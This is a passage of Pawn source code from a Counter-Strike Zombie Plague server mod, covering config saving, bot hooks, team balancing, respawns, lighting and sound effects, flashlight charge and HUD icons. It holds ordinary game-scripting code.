				copy(linedata, charsmax(linedata), linedata[1])
				
				ArrayPushString(g_extraitem2_realname, linedata)
				continue;
			}
			
			strtok(linedata, key, charsmax(key), value, charsmax(value), '=')
			
			trim(key)
			trim(value)
			
			if (equal(key, "NAME"))
				ArrayPushString(g_extraitem2_name, value)
			else if (equal(key, "COST"))
				ArrayPushCell(g_extraitem2_cost, str_to_num(value))
			else if (equal(key, "TEAMS"))
			{
				teams = 0
				
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					if (equal(key, ZP_TEAM_NAMES[ZP_TEAM_ZOMBIE]))
						teams |= ZP_TEAM_ZOMBIE
					else if (equal(key, ZP_TEAM_NAMES[ZP_TEAM_HUMAN]))
						teams |= ZP_TEAM_HUMAN
					else if (equal(key, ZP_TEAM_NAMES[ZP_TEAM_NEMESIS]))
						teams |= ZP_TEAM_NEMESIS
					else if (equal(key, ZP_TEAM_NAMES[ZP_TEAM_SURVIVOR]))
						teams |= ZP_TEAM_SURVIVOR
				}
				
				ArrayPushCell(g_extraitem2_team, teams)
			}
		}
		if (file) fclose(file)
	}
}

save_customization() {
	new i, k, buffer[512], buffer2[2048]
	
	new path[64]
	get_configsdir(path, charsmax(path))
	format(path, charsmax(path), "%s/%s", path, ZP_ZOMBIECLASSES_FILE)
	
	new file = fopen(path, "at"), size = ArraySize(g_zclass_name)
	
	for (i = 0; i < size; i++)
	{
		if (ArrayGetCell(g_zclass_new, i))
		{
			ArrayGetString(g_zclass_name, i, buffer, charsmax(buffer))
			format(buffer, charsmax(buffer), "^n[%s]", buffer)
			fputs(file, buffer)
			
			ArrayGetString(g_zclass_name, i, buffer, charsmax(buffer))
			format(buffer, charsmax(buffer), "^nNAME = %s", buffer)
			fputs(file, buffer)
			
			ArrayGetString(g_zclass_info, i, buffer, charsmax(buffer))
			format(buffer, charsmax(buffer), "^nINFO = %s", buffer)
			fputs(file, buffer)
			
			for (k = ArrayGetCell(g_zclass_modelsstart, i); k < ArrayGetCell(g_zclass_modelsend, i); k++)
			{
				if (k == ArrayGetCell(g_zclass_modelsstart, i))
				{
					ArrayGetString(g_zclass_playermodel, k, buffer, charsmax(buffer))
				}
				else
				{
					ArrayGetString(g_zclass_playermodel, k, path, charsmax(path))
					format(buffer, charsmax(buffer), "%s , %s", buffer, path)
				}
			}
			format(buffer, charsmax(buffer), "^nMODELS = %s", buffer)
			fputs(file, buffer)
			
			ArrayGetString(g_zclass_clawmodel, i, buffer, charsmax(buffer))
			format(buffer, charsmax(buffer), "^nCLAWMODEL = %s", buffer)
			fputs(file, buffer)
			
			formatex(buffer, charsmax(buffer), "^nHEALTH = %d", ArrayGetCell(g_zclass_hp, i))
			fputs(file, buffer)
			
			formatex(buffer, charsmax(buffer), "^nSPEED = %d", ArrayGetCell(g_zclass_spd, i))
			fputs(file, buffer)
			
			formatex(buffer, charsmax(buffer), "^nGRAVITY = %.2f", Float:ArrayGetCell(g_zclass_grav, i))
			fputs(file, buffer)
			
			ArrayGetString(g_zclass_bombmodel, i, buffer, charsmax(buffer))
			format(buffer, charsmax(buffer), "^nBOMBMODEL = %s", buffer)
			fputs(file, buffer)
			
			formatex(buffer, charsmax(buffer), "^nKNOCKBACK = %.2f^n", Float:ArrayGetCell(g_zclass_kb, i))
			fputs(file, buffer)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_infect_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_infect_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_infect_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_infect); j++)
				{
					ArrayGetString(zombie_infect, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE INFECT = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_infect_adv, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_infect_adv, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_infect_adv, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			format(buffer2, charsmax(buffer2), "^nZOMBIE INFECT ADV = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_pain_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_pain_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_pain_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_pain); j++)
				{
					ArrayGetString(zombie_pain, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE PAIN = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_die_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_die_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_die_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_die); j++)
				{
					ArrayGetString(zombie_die, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE DIE = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_fall_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_fall_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_fall_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_fall); j++)
				{
					ArrayGetString(zombie_fall, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE FALL = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_miss_slash_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_miss_slash_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_miss_slash_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_miss_slash); j++)
				{
					ArrayGetString(zombie_miss_slash, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE MISS SLASH = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_miss_wall_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_miss_wall_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_miss_wall_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_miss_wall); j++)
				{
					ArrayGetString(zombie_miss_wall, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE MISS WALL = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_hit_normal_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_hit_normal_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_hit_normal_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_hit_normal); j++)
				{
					ArrayGetString(zombie_hit_normal, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE HIT NORMAL = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_hit_stab_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell(zombie_hit_stab_c, i)); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_hit_stab_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_hit_stab); j++)
				{
					ArrayGetString(zombie_hit_stab, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE HIT STAB = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_idle_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_idle_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_idle_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_idle); j++)
				{
					ArrayGetString(zombie_idle, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE IDLE = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_idle_last_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_idle_last_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_idle_last_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_idle_last); j++)
				{
					ArrayGetString(zombie_idle_last, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE IDLE LAST = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( zombie_madness_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( zombie_madness_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( zombie_madness_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(zombie_madness); j++)
				{
					ArrayGetString(zombie_madness, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nZOMBIE MADNESS = %s", buffer2)
			fputs(file, buffer2)
			
			buffer2 = "";
			if(ArraySize(Array:ArrayGetCell( grenade_fire_player_c, i )))
				for(new j = 0; j < ArraySize(Array:ArrayGetCell( grenade_fire_player_c, i )); j++)
				{
					ArrayGetString(Array:ArrayGetCell( grenade_fire_player_c, i ), j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			else
				for(new j = 0; j < ArraySize(grenade_fire_player); j++)
				{
					ArrayGetString(grenade_fire_player, j, buffer, charsmax(buffer))
					if(j!=0)add(buffer2,charsmax(buffer2), " , ", 3)
					add(buffer2,charsmax(buffer2), buffer,charsmax(buffer))
				}
			
			format(buffer2, charsmax(buffer2), "^nGRENADE FIRE PLAYER = %s", buffer2)
			fputs(file, buffer2)
		}
	}
	fclose(file)
	
	get_configsdir(path, charsmax(path))
	format(path, charsmax(path), "%s/%s", path, ZP_EXTRAITEMS_FILE)
	
	file = fopen(path, "at")
	size = ArraySize(g_extraitem_name)
	
	for (i = EXTRAS_CUSTOM_STARTID; i < size; i++)
	{
		if (ArrayGetCell(g_extraitem_new, i))
		{
			ArrayGetString(g_extraitem_name, i, buffer, charsmax(buffer))
			format(buffer, charsmax(buffer), "^n[%s]", buffer)
			fputs(file, buffer)
			
			ArrayGetString(g_extraitem_name, i, buffer, charsmax(buffer))
			format(buffer, charsmax(buffer), "^nNAME = %s", buffer)
			fputs(file, buffer)
			
			formatex(buffer, charsmax(buffer), "^nCOST = %d", ArrayGetCell(g_extraitem_cost, i))
			fputs(file, buffer)
			
			formatex(buffer, charsmax(buffer), "^nTEAMS = %s^n", ZP_TEAM_NAMES[ArrayGetCell(g_extraitem_team, i)])
			fputs(file, buffer)
		}
	}
	fclose(file)
	
	ArrayDestroy(g_zclass2_realname)
	ArrayDestroy(g_zclass2_name)
	ArrayDestroy(g_zclass2_info)
	ArrayDestroy(g_zclass2_modelsstart)
	ArrayDestroy(g_zclass2_modelsend)
	ArrayDestroy(g_zclass2_playermodel)
	ArrayDestroy(g_zclass2_modelindex)
	ArrayDestroy(g_zclass2_clawmodel)
	ArrayDestroy(g_zclass2_bombmodel)
	ArrayDestroy(g_zclass2_hp)
	ArrayDestroy(g_zclass2_spd)
	ArrayDestroy(g_zclass2_grav)
	ArrayDestroy(g_zclass_new)
	ArrayDestroy(g_extraitem2_realname)
	ArrayDestroy(g_extraitem2_name)
	ArrayDestroy(g_extraitem2_cost)
	ArrayDestroy(g_extraitem2_team)
	ArrayDestroy(g_extraitem_new)
}

public register_ham_czbots(id) {
	// Make sure it's a CZ bot and it's still connected
	if (g_hamczbots || !g_isconnected[id] || !get_pcvar_num(cvar_botquota))
		return;
	
	RegisterHamFromEntity(Ham_Spawn, id, "fw_PlayerSpawn_Post", 1)
	RegisterHamFromEntity(Ham_Killed, id, "fw_PlayerKilled")
	RegisterHamFromEntity(Ham_Killed, id, "fw_PlayerKilled_Post", 1)
	RegisterHamFromEntity(Ham_TakeDamage, id, "fw_TakeDamage")
	RegisterHamFromEntity(Ham_TakeDamage, id, "fw_TakeDamage_Post", 1)
	RegisterHamFromEntity(Ham_TraceAttack, id, "fw_TraceAttack")
	RegisterHamFromEntity(Ham_Player_ResetMaxSpeed, id, "fw_ResetMaxSpeed")

	
	// Ham forwards for CZ bots succesfully registered
	g_hamczbots = true
	
	// If the bot has already spawned, call the forward manually for him
	if (is_user_alive(id)) fw_PlayerSpawn_Post(id)
}

public disable_minmodels(id) {
	if (!g_isconnected[id]) return;
	client_cmd(id, "cl_minmodels 0")
}

public bot_buy_extras(taskid) {
	// Nemesis or Survivor bots have nothing to buy by default
	if (!g_isalive[ID_SPAWN] || g_survivor[ID_SPAWN] || g_nemesis[ID_SPAWN])
		return;
	
	if (!g_zombie[ID_SPAWN]) // human bots
	{
		// Attempt to buy Night Vision
		buy_extra_item(ID_SPAWN, EXTRA_NVISION)
		
		// Attempt to buy a weapon
		buy_extra_item(ID_SPAWN, random_num(EXTRA_WEAPONS_STARTID, EXTRAS_CUSTOM_STARTID-1))
	}
	else // zombie bots
	{
		// Attempt to buy an Antidote
		buy_extra_item(ID_SPAWN, EXTRA_ANTIDOTE)
	}
}

public refill_bpammo(const args[], id) {
	// Player died or turned into a zombie
	if (!g_isalive[id] || g_zombie[id])
		return;
	
	set_msg_block(g_msgAmmoPickup, BLOCK_ONCE)
	ExecuteHamB(Ham_GiveAmmo, id, MAXBPAMMO[REFILL_WEAPONID], AMMOTYPE[REFILL_WEAPONID], MAXBPAMMO[REFILL_WEAPONID])
}

balance_teams() {
	// Get amount of users playing
	static iPlayersnum
	iPlayersnum = fnGetPlaying()
	
	// No players, don't bother
	if (iPlayersnum < 1) return;
	
	// Split players evenly
	static iTerrors, iMaxTerrors, id, team[33]
	iMaxTerrors = iPlayersnum/2
	iTerrors = 0
	
	// First, set everyone to CT
	for (id = 1; id <= g_maxplayers; id++)
	{
		// Skip if not connected
		if (!g_isconnected[id])
			continue;
		
		team[id] = fm_cs_get_user_team(id)
		
		// Skip if not playing
		if (team[id] == FM_CS_TEAM_SPECTATOR || team[id] == FM_CS_TEAM_UNASSIGNED)
			continue;
		
		// Set team
		remove_task(id+TASK_TEAM)
		fm_cs_set_user_team(id, FM_CS_TEAM_CT)
		team[id] = FM_CS_TEAM_CT
	}
	
	// Then randomly set half of the players to Terrorists
	while (iTerrors < iMaxTerrors)
	{
		// Keep looping through all players
		if (++id > g_maxplayers) id = 1
		
		// Skip if not connected
		if (!g_isconnected[id])
			continue;
		
		// Skip if not playing or already a Terrorist
		if (team[id] != FM_CS_TEAM_CT)
			continue;
		
		// Random chance
		if (random_num(0, 1))
		{
			fm_cs_set_user_team(id, FM_CS_TEAM_T)
			team[id] = FM_CS_TEAM_T
			iTerrors++
		}
	}
}

public welcome_msg() {
	set_hudmessage(0, 125, 200, HUD_EVENT_X, HUD_EVENT_Y, 0, 0.0, 3.0, 2.0, 1.0, -1)
	ShowSyncHudMsg(0, g_MsgSync, "%L", LANG_PLAYER, "NOTICE_VIRUS_FREE")
}

public respawn_player_task(taskid)
{
	// Already alive or round ended
	if (g_isalive[ID_SPAWN] || g_endround)
		return;
	
	// Get player's team
	static team
	team = fm_cs_get_user_team(ID_SPAWN)
	
	// Player moved to spectators
	if (team == FM_CS_TEAM_SPECTATOR || team == FM_CS_TEAM_UNASSIGNED)
		return;
	
	// Respawn player automatically if allowed on current round
	if ((!g_survround || get_pcvar_num(cvar_allowrespawnsurv)) && (!g_swarmround || get_pcvar_num(cvar_allowrespawnswarm)) && (!g_nemround || get_pcvar_num(cvar_allowrespawnnem)) && (!g_plagueround || get_pcvar_num(cvar_allowrespawnplague)))
	{
		// Infection rounds = none of the above
		if (!get_pcvar_num(cvar_allowrespawninfection) && !g_survround && !g_nemround && !g_swarmround && !g_plagueround)
			return;
		
		// Respawn if only the last human is left? (ignore this setting on survivor rounds)
		if (!g_survround && !get_pcvar_num(cvar_respawnafterlast) && fnGetHumans() <= 1)
			return;
		
		// Respawn as zombie?
		if (get_pcvar_num(cvar_deathmatch) == 2 || (get_pcvar_num(cvar_deathmatch) == 3 && random_num(0, 1)) || (get_pcvar_num(cvar_deathmatch) == 4 && fnGetZombies() < fnGetAlive()/2))
			g_respawn_as_zombie[ID_SPAWN] = true
		
		// Override respawn as zombie setting on nemesis and survivor rounds
		if (g_survround) g_respawn_as_zombie[ID_SPAWN] = true
		else if (g_nemround) g_respawn_as_zombie[ID_SPAWN] = false
		
		respawn_player_manually(ID_SPAWN)
	}
}

public respawn_player_check_task(taskid)
{
	// Successfully spawned or round ended
	if (g_isalive[ID_SPAWN] || g_endround)
		return;
	
	// Get player's team
	static team
	team = fm_cs_get_user_team(ID_SPAWN)
	
	// Player moved to spectators
	if (team == FM_CS_TEAM_SPECTATOR || team == FM_CS_TEAM_UNASSIGNED)
		return;
	
	// If player was being spawned as a zombie, set the flag again
	if (g_zombie[ID_SPAWN]) g_respawn_as_zombie[ID_SPAWN] = true
	else g_respawn_as_zombie[ID_SPAWN] = false
	
	respawn_player_manually(ID_SPAWN)
}


respawn_player_manually(id) {
	if (g_respawn_as_zombie[id])
		fm_cs_set_user_team(id, FM_CS_TEAM_T)
	else
		fm_cs_set_user_team(id, FM_CS_TEAM_CT)
	
	ExecuteHamB(Ham_CS_RoundRespawn, id)
}

check_round(leaving_player) {
	if (g_endround || task_exists(TASK_MAKEZOMBIE))
		return;
	
	static iPlayersnum, id
	iPlayersnum = fnGetAlive()
	
	if (iPlayersnum < 2)
		return;
	
	if (g_zombie[leaving_player] && fnGetZombies() == 1)
	{
		if (fnGetHumans() == 1 && fnGetCTs() == 1)
			return;
		
		while ((id = fnGetRandomAlive(random_num(1, iPlayersnum))) == leaving_player ) { /* keep looping */ }
		
		zp_colored_print(0, "^x04[ZP]^x01 %L", LANG_PLAYER, "LAST_ZOMBIE_LEFT", g_playername[id])
		
		g_lastplayerleaving = true
		
		if (g_nemesis[leaving_player])
			zombieme(id, 0, 1, 0, 0)
		else
			zombieme(id, 0, 0, 0, 0)
		
		g_lastplayerleaving = false
		
		if (get_pcvar_num(cvar_keephealthondisconnect) && g_nemesis[leaving_player])
			fm_set_user_health(id, pev(leaving_player, pev_health))
	}
	
	else if (!g_zombie[leaving_player] && fnGetHumans() == 1)
	{
		if (fnGetZombies() == 1 && fnGetTs() == 1)
			return;
		
		while ((id = fnGetRandomAlive(random_num(1, iPlayersnum))) == leaving_player ) { /* keep looping */ }
		
		zp_colored_print(0, "^x04[ZP]^x01 %L", LANG_PLAYER, "LAST_HUMAN_LEFT", g_playername[id])
		
		g_lastplayerleaving = true
		
		if (g_survivor[leaving_player])
			humanme(id, 1, 0)
		else
			humanme(id, 0, 0)
		
		g_lastplayerleaving = false
		
		if (get_pcvar_num(cvar_keephealthondisconnect) && g_survivor[leaving_player])
			fm_set_user_health(id, pev(leaving_player, pev_health))
	}
}

public lighting_effects() {
	// Cache some CVAR values at every 5 secs
	cache_cvars()
	
	// Get lighting style
	static lighting[2]
	get_pcvar_string(cvar_lighting, lighting, charsmax(lighting))
	strtolower(lighting)
	
	// Lighting disabled? ["0"]
	if (lighting[0] == '0')
		return;
	
	// Darkest light settings?
	if (lighting[0] >= 'a' && lighting[0] <= 'd')
	{
		static thunderclap_in_progress, Float:thunder
		thunderclap_in_progress = task_exists(TASK_THUNDER)
		thunder = get_pcvar_float(cvar_thunder)
		
		// Set thunderclap tasks if not existant
		if (thunder > 0.0 && !task_exists(TASK_THUNDER_PRE) && !thunderclap_in_progress)
		{
			g_lights_i = 0
			ArrayGetString(lights_thunder, random_num(0, ArraySize(lights_thunder) - 1), g_lights_cycle, charsmax(g_lights_cycle))
			g_lights_cycle_len = strlen(g_lights_cycle)
			set_task(thunder, "thunderclap", TASK_THUNDER_PRE)
		}
		
		// Set lighting only when no thunderclaps are going on
		if (!thunderclap_in_progress) engfunc(EngFunc_LightStyle, 0, lighting)
	}
	else
	{
		// Remove thunderclap tasks
		remove_task(TASK_THUNDER_PRE)
		remove_task(TASK_THUNDER)
		
		// Set lighting
		engfunc(EngFunc_LightStyle, 0, lighting)
	}
}

public thunderclap() {
	// Play thunder sound
	if (g_lights_i == 0)
	{
		static sound[64]
		ArrayGetString(sound_thunder, random_num(0, ArraySize(sound_thunder) - 1), sound, charsmax(sound))
		PlaySound(sound)
	}
	
	// Set lighting
	static light[2]
	light[0] = g_lights_cycle[g_lights_i]
	engfunc(EngFunc_LightStyle, 0, light)
	
	g_lights_i++
	
	// Lighting cycle end?
	if (g_lights_i >= g_lights_cycle_len)
	{
		remove_task(TASK_THUNDER)
		lighting_effects()
	}
	// Lighting cycle start?
	else if (!task_exists(TASK_THUNDER))
		set_task(0.1, "thunderclap", TASK_THUNDER, _, _, "b")

}

public ambience_sound_effects(taskid) {
	// Play a random sound depending on the round
	static sound[64], iRand, duration, ismp3
	
	if (g_nemround) // Nemesis Mode
	{
		iRand = random_num(0, ArraySize(sound_ambience2) - 1)
		ArrayGetString(sound_ambience2, iRand, sound, charsmax(sound))
		duration = ArrayGetCell(sound_ambience2_duration, iRand)
		ismp3 = ArrayGetCell(sound_ambience2_ismp3, iRand)
	}
	else if (g_survround) // Survivor Mode
	{
		iRand = random_num(0, ArraySize(sound_ambience3) - 1)
		ArrayGetString(sound_ambience3, iRand, sound, charsmax(sound))
		duration = ArrayGetCell(sound_ambience3_duration, iRand)
		ismp3 = ArrayGetCell(sound_ambience3_ismp3, iRand)
	}
	else if (g_swarmround) // Swarm Mode
	{
		iRand = random_num(0, ArraySize(sound_ambience4) - 1)
		ArrayGetString(sound_ambience4, iRand, sound, charsmax(sound))
		duration = ArrayGetCell(sound_ambience4_duration, iRand)
		ismp3 = ArrayGetCell(sound_ambience4_ismp3, iRand)
	}
	else if (g_plagueround) // Plague Mode
	{
		iRand = random_num(0, ArraySize(sound_ambience5) - 1)
		ArrayGetString(sound_ambience5, iRand, sound, charsmax(sound))
		duration = ArrayGetCell(sound_ambience5_duration, iRand)
		ismp3 = ArrayGetCell(sound_ambience5_ismp3, iRand)
	}
	else // Infection Mode
	{
		iRand = random_num(0, ArraySize(sound_ambience1) - 1)
		ArrayGetString(sound_ambience1, iRand, sound, charsmax(sound))
		duration = ArrayGetCell(sound_ambience1_duration, iRand)
		ismp3 = ArrayGetCell(sound_ambience1_ismp3, iRand)
	}
	
	// Play it on clients
	if (ismp3)
		client_cmd(0, "mp3 play ^"sound/%s^"", sound)
	else
		PlaySound(sound)
	
	// Set the task for when the sound is done playing
	set_task(float(duration), "ambience_sound_effects", TASK_AMBIENCESOUNDS)
}

ambience_sound_stop() {
	client_cmd(0, "mp3 stop; stopsound")
}

public flashlight_charge(taskid) {
	// Drain or charge?
	if (g_flashlight[ID_CHARGE])
		g_flashbattery[ID_CHARGE] -= get_pcvar_num(cvar_flashdrain)
	else
		g_flashbattery[ID_CHARGE] += get_pcvar_num(cvar_flashcharge)
	
	// Battery fully charged
	if (g_flashbattery[ID_CHARGE] >= 100)
	{
		// Don't exceed 100%
		g_flashbattery[ID_CHARGE] = 100
		
		// Update flashlight battery on HUD
		message_begin(MSG_ONE, g_msgFlashBat, _, ID_CHARGE)
		write_byte(100) // battery
		message_end()
		
		// Task not needed anymore
		remove_task(taskid);
		return;
	}
	
	// Battery depleted
	if (g_flashbattery[ID_CHARGE] <= 0)
	{
		// Turn it off
		g_flashlight[ID_CHARGE] = false
		g_flashbattery[ID_CHARGE] = 0
		
		// Play flashlight toggle sound
		emit_sound(ID_CHARGE, CHAN_ITEM, sound_flashlight, 1.0, ATTN_NORM, 0, PITCH_NORM)
		
		// Update flashlight status on HUD
		message_begin(MSG_ONE, g_msgFlashlight, _, ID_CHARGE)
		write_byte(0) // toggle
		write_byte(0) // battery
		message_end()
		
		// Remove flashlight task for this player
		remove_task(ID_CHARGE+TASK_FLASH)
	}
	else
	{
		// Update flashlight battery on HUD
		message_begin(MSG_ONE_UNRELIABLE, g_msgFlashBat, _, ID_CHARGE)
		write_byte(g_flashbattery[ID_CHARGE]) // battery
		message_end()
	}
}

public remove_spawn_protection(taskid) {
	// Not alive
	if (!g_isalive[ID_SPAWN])
		return;
	
	// Remove spawn protection
	g_nodamage[ID_SPAWN] = false
	set_pev(ID_SPAWN, pev_effects, pev(ID_SPAWN, pev_effects) & ~EF_NODRAW)
}

public task_hide_money(taskid) {
	// Not alive
	if (!g_isalive[ID_SPAWN])
		return;
	
	// Hide money
	message_begin(MSG_ONE, g_msgHideWeapon, _, ID_SPAWN)
	write_byte(HIDE_MONEY) // what to hide bitsum
	message_end()
	
	// Hide the HL crosshair that's drawn
	message_begin(MSG_ONE, g_msgCrosshair, _, ID_SPAWN)
	write_byte(0) // toggle
	message_end()
}
public grenade_icon(id) 
{
	remove_grenade_icon(id)
		
	if(is_user_bot(id))
		return
		
	static iArmor
	iArmor = get_user_armor( id )
	
	if( iArmor && !g_zombie[id] )
	{
		message_begin(MSG_ONE,iconstatus,{0,0,0},id)
		write_byte(1)
		write_string("defuser")
		write_byte(0)
		write_byte(255)
		write_byte(0)
		message_end()
	}
		
		
	static igrenade, grenade_sprite[16], grenade_color[3]
	igrenade = get_user_weapon(id)
	
	switch(igrenade) 
	{
		case CSW_HEGRENADE:
		{
			if(!is_user_alive(id) || g_zombie[id]) {
				grenade_sprite = "dmg_rad"
				grenade_color = {0, 255, 0}
			}
			else
			{
				grenade_sprite = "dmg_heat"
				grenade_color = {255, 0, 0}
			}
		}
		case CSW_FLASHBANG:
		{
			if(!is_user_alive(id) || g_zombie[id]) {
			        grenade_sprite = "dmg_shock"
			        grenade_color = {20, 220, 255}
			}
			else
			{
			        grenade_sprite = "dmg_cold"
			        grenade_color = {100, 149, 237}
			}
		}
		case CSW_SMOKEGRENADE:
		{
			grenade_sprite = "dmg_gas"
			grenade_color = {247, 134, 2}
		}
		default: 
		return
	}
	
	grenade_icons[id] = grenade_sprite
	
